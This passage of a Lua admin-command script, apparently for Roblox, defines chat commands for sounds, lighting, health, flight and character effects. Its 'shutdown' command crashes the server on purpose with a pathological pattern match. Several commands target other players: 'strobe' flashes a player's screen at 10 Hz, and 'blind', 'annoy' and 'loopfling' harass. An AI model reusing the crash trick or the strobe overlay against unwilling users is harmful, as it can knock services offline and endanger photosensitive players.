6346 CommandLogs = {}
6347 ChatLogs = {}
6348 IRC.Logs = {}
6349 end};
6350
6351 [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6352 Server.GDS:SetAsync("ExploitLog", {})
6353 end};
6354
6355 [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
6356 local List,Correlate,SoundName = {},{},{}
6357 for Name,Info in pairs(SoundList) do
6358 local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
6359 table.insert(List, View)
6360 Correlate[View] = Info[1]
6361 end
6362
6363 local CanClick = true
6364 if Rank == "Member" then CanClick = false end
6365 local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
6366 Clicked.Event:connect(function(ClickName)
6367 local OldSoundId = nil
6368 SOUND:StopGlobalSound()
6369 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6370 SOUND:PlayGlobalSound(Correlate[ClickName])
6371 end
6372 end)
6373 end};
6374
6375 [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6376 SOUND:SyncSoundList(Speaker)
6377 end};
6378
6379 [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6380 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
6381 if Answer == "Yes" then
6382 Server.Workspace.Terrain:Clear()
6383 end
6384 end};
6385
6386 [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
6387 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
6388 if Answer == "Yes" then
6389 for _,Obj in pairs(Workspace:GetChildren()) do
6390 if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
6391 Obj:Destroy()
6392 end
6393 end
6394 end
6395 end};
6396
6397 [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6398 CORE:MakeBase()
6399 end};
6400
6401 [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
6402 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6403 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6404 CustomSounds = {}
6405 end
6406 if tostring(Arguments[1]) then
6407 local Request = MARKET:GetItemInfo(Arguments[1])
6408 if Request.AssetTypeId == 3 then
6409 table.insert(CustomSounds, {Arguments[2], Arguments[1]})
6410 SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
6411 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6412 GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
6413 else
6414 GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
6415 end
6416 end
6417 end};
6418
6419 [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
6420 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6421 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6422 CustomSounds = {}
6423 end
6424
6425 local Removed = {}
6426 for Num,Data in pairs(CustomSounds) do
6427 if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
6428 table.insert(Removed, Data[1])
6429 table.remove(CustomSounds, Num)
6430 end
6431 end
6432
6433 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6434
6435 SOUND:SyncSoundList()
6436
6437 if #Removed > 0 then
6438 GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
6439 else
6440 GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
6441 end
6442 end};
6443
6444 [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
6445 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
6446 if Answer == "Yes" then
6447 Server.GDS:SetAsync("MML Custom Sounds", {})
6448 SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
6449 GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
6450 end
6451 end};
6452
6453 [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6454 local Players = STRING:Scan(Arguments[1], Speaker)
6455 local SpeakerTesting = false
6456 for _,Player in pairs(Players) do
6457 if Player == Speaker then SpeakerTesting = true end
6458 if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
6459 CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
6460 --wait(10)
6461 --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
6462 end)() end
6463 end
6464 if SpeakerTesting == false then
6465 GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
6466 end
6467 end};
6468
6469 [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
6470 local Players = STRING:Scan(Arguments[1], Speaker)
6471 local Compile = {}
6472 for _,Player in pairs(Players) do
6473 local PlayerInfo = ClientInfo[Player.Name]
6474 if PlayerInfo then
6475 if PlayerInfo.Benchmark then
6476 table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
6477 else
6478 table.insert(Compile, Player.Name..": No score")
6479 end
6480 end
6481 end
6482 GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
6483 end};
6484
6485 [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
6486 local Players = STRING:Scan(Arguments[1], Speaker)
6487 for _,Player in pairs(Players) do
6488 CORE:Chatted(Arguments[2], Player, true)
6489 end
6490 end};
6491
6492 [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
6493 CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
6494 end};
6495
6496 [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
6497 local Players = STRING:Scan(Arguments[1], Speaker)
6498 for _,Player in pairs(Players) do
6499 if Player.Character ~= nil then
6500 if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
6501 if Player.Character.Torso:FindFirstChild("Neck") then
6502 Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6503 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6504 Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
6505 local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
6506 local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
6507 end
6508 end
6509 end
6510 end
6511 end};
6512
6513 [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
6514 local Players = STRING:Scan(Arguments[1], Speaker)
6515 for _,Player in pairs(Players) do
6516 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
6517 Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6518 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6519 end
6520 end
6521 end};
6522
6523 [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
6524 local Players = STRING:Scan(Arguments[1], Speaker)
6525 for _,Player in pairs(Players) do
6526 local _,RankNum = RANK:GetRank(Player)
6527 if RankNum <= RANK:ConvertRank(Rank) then
6528 CORE:FlingPlayer(Player)
6529 end
6530 end
6531 end};
6532
6533 [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
6534 local Players = STRING:Scan(Arguments[1], Speaker)
6535 for _,Player in pairs(Players) do
6536 local _,RankNum = RANK:GetRank(Player)
6537 if RankNum <= RANK:ConvertRank(Rank) then
6538 Flings[Player.Name] = true
6539 CORE:FlingPlayer(Player)
6540 end
6541 end
6542 end};
6543
6544 [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
6545 local Players = STRING:Scan(Arguments[1], Speaker)
6546 for _,Player in pairs(Players) do
6547 local _,RankNum = RANK:GetRank(Player)
6548 if RankNum <= RANK:ConvertRank(Rank) then
6549 Flings[Player.Name] = nil
6550 end
6551 end
6552 end};
6553
6554 [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6555 local Players = STRING:Scan(Arguments[1], Speaker)
6556 for _,Player in pairs(Players) do
6557 CORE:Nuke(Player)
6558 end
6559 end};
6560
6561 [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6562 local Players = STRING:Scan(Arguments[1], Speaker)
6563 for _,Player in pairs(Players) do
6564 Beeps[Player.Name] = true
6565 SOUND:BeepPlayer(Player)
6566 end
6567 end};
6568
6569 [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6570 local Players = STRING:Scan(Arguments[1], Speaker)
6571 for _,Player in pairs(Players) do
6572 if Player.PlayerGui then
6573 Beeps[Player.Name] = nil
6574 for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
6575 if Obj.Name == "Annoy" then
6576 Obj:Stop()
6577 Obj:Destroy()
6578 end
6579 end
6580 end
6581 end
6582 end};
6583
6584 [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
6585 local Time = Arguments[1]
6586 if Time == "day" or Time == "noon" then Time = "12" end
6587 if Time == "night" or Time == "midnight" then Time = "0" end
6588 if Time == "dawn" or Time == "morning" then Time = "6:15" end
6589 if Time == "dusk" or Time == "evening" then Time = "17:45" end
6590 if Time == "afternoon" then Time = "15:30" end
6591 ypcall(function() Server.Lighting.TimeOfDay = Time end)
6592 end};
6593
6594 [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
6595 local Players = STRING:Scan(Arguments[1], Speaker)
6596 for _,Player in pairs(Players) do
6597 MARKET:PromptPurchase(Player, Arguments[2], Speaker)
6598 end
6599 end};
6600
6601 [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6602 local AbuseMode = false
6603 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
6604 local Players = STRING:Scan(Arguments[1], Speaker)
6605 for _,Player in pairs(Players) do
6606 CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
6607 end
6608 end};
6609
6610 [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
6611 local Players = STRING:Scan(Arguments[1], Speaker)
6612 for _,Player in pairs(Players) do
6613 CORE:Insert(125013769, Player.Backpack, true)
6614 end
6615 end};
6616
6617 [{"accessory", "acs", "hat"}] = {"player ID", "Gives player the accessory with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6618 local Players = STRING:Scan(Arguments[1], Speaker)
6619 for _,Player in pairs(Players) do
6620 if Player.Character then
6621 CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"})
6622 end
6623 end
6624 end};
6625
6626 [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
6627 CORE:ResetLighting()
6628 repeat
6629 Server.Lighting.Ambient = Color3.new(1,1,1)
6630 Server.Lighting.FogColor = Color3.new(1,1,1)
6631 Server.Lighting.Brightness = 1
6632 Server.Lighting.TimeOfDay = 14
6633 wait(0.1)
6634 Server.Lighting.Ambient = Color3.new(0,0,0)
6635 Server.Lighting.FogColor = Color3.new(0,0,0)
6636 Server.Lighting.Brightness = 0
6637 Server.Lighting.TimeOfDay = 0
6638 wait(0.1)
6639 until ModLighting == false
6640 end};
6641
6642 [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
6643 CORE:ResetLighting()
6644 repeat
6645 local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
6646 Server.Lighting.Ambient = Color
6647 Server.Lighting.FogColor = Color
6648 Server.Lighting.TimeOfDay = 0
6649 Server.Lighting.FogEnd = 500
6650 wait(0.1)
6651 until ModLighting == false
6652 end};
6653
6654 [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
6655 CORE:FixLighting()
6656 end};
6657
6658 [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
6659 local Players = STRING:Scan(Arguments[1], Speaker)
6660 for _,Player in pairs(Players) do
6661 if Player:FindFirstChild("PlayerGui") then
6662 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6663 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6664 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
6665 coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
6666 end
6667 end
6668 end};
6669
6670 [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
6671 local Players = STRING:Scan(Arguments[1], Speaker)
6672 for _,Player in pairs(Players) do
6673 if Player:FindFirstChild("PlayerGui") then
6674 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6675 end
6676 end
6677 end};
6678
6679 [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
6680 local Players = STRING:Scan(Arguments[1], Speaker)
6681 for _,Player in pairs(Players) do
6682 if Player:FindFirstChild("PlayerGui") then
6683 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6684 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6685 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
6686 end
6687 end
6688 end};
6689
6690 [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
6691 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
6692 if Suc then
6693 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
6694 else
6695 Server.TS:Teleport(game.PlaceId, Speaker)
6696 end
6697 end};
6698
6699 [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6700 GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
6701 end};
6702
6703 [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6704 local NewAbuse = Arguments[1]
6705 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6706 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6707 end
6708
6709 local Match = false
6710 for _,AbuseCmd in pairs(Settings.AbuseList) do
6711 if string.lower(AbuseCmd) == string.lower(NewAbuse) then
6712 Match = true
6713 break
6714 end
6715 end
6716 if not Match then
6717 table.insert(Settings.AbuseList, NewAbuse)
6718 GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
6719 else
6720 GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
6721 end
6722 CORE:SetAbuseCommands()
6723 end};
6724
6725 [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6726 local NewAbuse = Arguments[1]
6727 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6728 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6729 end
6730
6731 local Removed = false
6732 for Num,AbuseCmd in pairs(Settings.AbuseList) do
6733 if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
6734 Removed = true
6735 table.remove(Settings.AbuseList, Num)
6736 end
6737 end
6738 if Removed then
6739 GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
6740 else
6741 GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
6742 end
6743 CORE:SetAbuseCommands()
6744 end};
6745
6746 [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
6747 local Players = STRING:Scan(Arguments[1], Speaker)
6748 for _,Player in pairs(Players) do
6749 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6750 Player.Character.Humanoid.MaxHealth = math.huge
6751 Player.Character.Humanoid.Health = math.huge
6752 end
6753 end
6754 end};
6755
6756 [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
6757 local Players = STRING:Scan(Arguments[1], Speaker)
6758 for _,Player in pairs(Players) do
6759 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6760 if Player.Character.Humanoid.MaxHealth == math.huge then
6761 Player.Character.Humanoid.MaxHealth = 100
6762 Player.Character.Humanoid.Health = 100
6763 else
6764 Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
6765 end
6766 end
6767 end
6768 end};
6769
6770 [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
6771 local Players = STRING:Scan(Arguments[1], Speaker)
6772 for _,Player in pairs(Players) do
6773 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6774 local Char = Player.Character
6775 repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
6776 end
6777 end
6778 end};
6779
6780 [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6781 if tonumber(Arguments[2]) then
6782 local Players = STRING:Scan(Arguments[1], Speaker)
6783 for _,Player in pairs(Players) do
6784 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6785 Player.Character.Humanoid.Health = Arguments[2]
6786 end
6787 end
6788 end
6789 end};
6790
6791 [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6792 if tonumber(Arguments[2]) then
6793 local Players = STRING:Scan(Arguments[1], Speaker)
6794 for _,Player in pairs(Players) do
6795 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6796 local Speed = tonumber(Arguments[2])
6797 if Speed then
6798 if Rank == "Member" then
6799 if Speed > 1000 then Speed = 1000
6800 elseif Speed < -1000 then Speed = -1000 end
6801 end
6802 Player.Character.Humanoid.WalkSpeed = Speed
6803 end
6804 end
6805 end
6806 end
6807 end};
6808
6809 [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
6810 if tonumber(Arguments[2]) then
6811 local Players = STRING:Scan(Arguments[1], Speaker)
6812 for _,Player in pairs(Players) do
6813 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6814 Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
6815 end
6816 end
6817 end
6818 end};
6819
6820 [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
6821 local Players = STRING:Scan(Arguments[1], Speaker)
6822 for _,Player in pairs(Players) do
6823 CORE:Fly(Player, 10000)
6824 end
6825 end};
6826
6827 [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
6828 local Players = STRING:Scan(Arguments[1], Speaker)
6829 for _,Player in pairs(Players) do
6830 CORE:Fly(Player, 1000000)
6831 end
6832 end};
6833
6834 [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
6835 local Players = STRING:Scan(Arguments[1], Speaker)
6836 for _,Player in pairs(Players) do
6837 if Player.Character then
6838 if Player.Character:FindFirstChild("StopMMLFly") then
6839 Player.Character.StopMMLFly:InvokeClient(Player)
6840 end
6841 end
6842 end
6843 end};
6844
6845 [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
6846 ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},{}
6847 GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
6848 end};
6849
6850 [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
6851 local Players = STRING:Scan(Arguments[1], Speaker)
6852 for _,Player in pairs(Players) do
6853 CORE:GiveTools(Player, Arguments[2])
6854 end
6855 end};
6856
6857 [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
6858 local List = {}
6859 for _,Region in pairs(ToolRegions) do
6860 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
6861 table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
6862 end)
6863 end
6864
6865 GUI:ListGui(Speaker, "Tool list", List, 73589272)
6866 end};
6867
6868 [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
6869 local Players = STRING:Scan(Arguments[1], Speaker)
6870 for _,Player in pairs(Players) do
6871 CORE:GiveTools(Player, "btools")
6872 end
6873 end};
6874
6875 [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
6876 REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
6877 for _,Player in pairs(Server.Players:GetPlayers()) do
6878 Player:Kick()
6879 end
6880 Server.Workspace:ClearAllChildren()
6881 string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
6882 end};
6883
6884 [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6885 local Players = STRING:Scan(Arguments[1], Speaker)
6886 for _,Player in pairs(Players) do
6887 CORE:Scale(Player, Arguments[2])
6888 end
6889 end};
6890
6891 [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
6892 local Players = STRING:Scan(Arguments[1], Speaker)
6893 for _,Player in pairs(Players) do
6894 CORE:Scale(Player, 50)
6895 end
6896 end};
6897
6898 [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
6899 local Players = STRING:Scan(Arguments[1], Speaker)
6900 for _,Player in pairs(Players) do
6901 CORE:Scale(Player, 70)
6902 end
6903 end, Hidden = true};
6904
6905 [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
6906 local Players = STRING:Scan(Arguments[1], Speaker)
6907 for _,Player in pairs(Players) do
6908 CORE:Scale(Player, 500)
6909 end
6910 end};
6911
6912 [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
6913 local Players = STRING:Scan(Arguments[1], Speaker)
6914 for _,Player in pairs(Players) do
6915 if Player.Character then
6916 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6917 Obj.Reflectance = 0.5
6918 Obj.BrickColor = BrickColor.new("New Yeller")
6919 end)
6920 end
6921 end
6922 end};
6923
6924 [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
6925 local Players = STRING:Scan(Arguments[1], Speaker)
6926 for _,Player in pairs(Players) do
6927 if Player.Character then
6928 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6929 Obj.Reflectance = 0.5
6930 end)
6931 end
6932 end
6933 end};
6934
6935 [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
6936 local Players = STRING:Scan(Arguments[1], Speaker)
6937 for _,Player in pairs(Players) do
6938 if Player.Character then
6939 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6940 Obj.Transparency = 0.5
6941 Obj.Reflectance = 0
6942 Obj.BrickColor = BrickColor.new("Institutional white")
6943 end)
6944 CORE:ScanItems(Player.Character, {"Texture", "Decal"}, function(Obj)
6945 Obj.Transparency = 0.5
6946 end)
6947 end
6948 end
6949 end};
6950
6951 [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
6952 local Players = STRING:Scan(Arguments[1], Speaker)
6953 for _,Player in pairs(Players) do
6954 if Player.Character then
6955 for _,Obj in pairs(Player.Character:GetChildren()) do
6956 local Valid = false
6957 for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6958 if Valid == true then Obj:Destroy() end
6959 end
6960 end
6961 end
6962 end};
6963
6964 [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
6965 local Players = STRING:Scan(Arguments[1], Speaker)
6966 for _,Player in pairs(Players) do
6967 if Player.Character then
6968 for _,Obj in pairs(Player.Character:GetChildren()) do
6969 local Valid = false
6970 for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
6971 if Valid == true then Obj:Destroy() end
6972 end
6973 end
6974 end
6975 end};
6976
6977 [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
6978 local Players = STRING:Scan(Arguments[1], Speaker)
6979 for _,Player in pairs(Players) do
6980 if Player.Character then
6981 for _,Obj in pairs(Player.Character:GetChildren()) do
6982 local Valid = false
6983 for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6984 if Valid == true then Obj:Destroy() end
6985 end
6986 end
6987 end
6988 end};
6989
6990 [{"noaccessories", "noaccessory", "noacs", "nohats", "nohat"}] = {"player", "Removes player's accessories", 1, "Member", false, function(Speaker, Rank, Arguments)
6991 local Players = STRING:Scan(Arguments[1], Speaker)
6992 for _,Player in pairs(Players) do
6993 if Player.Character then
6994 for _,Obj in pairs(Player.Character:GetChildren()) do
6995 if Obj:IsA("Accoutrement") then
6996 Obj:Destroy()
6997 end
6998 end
6999 end
7000 end
7001 end};
7002
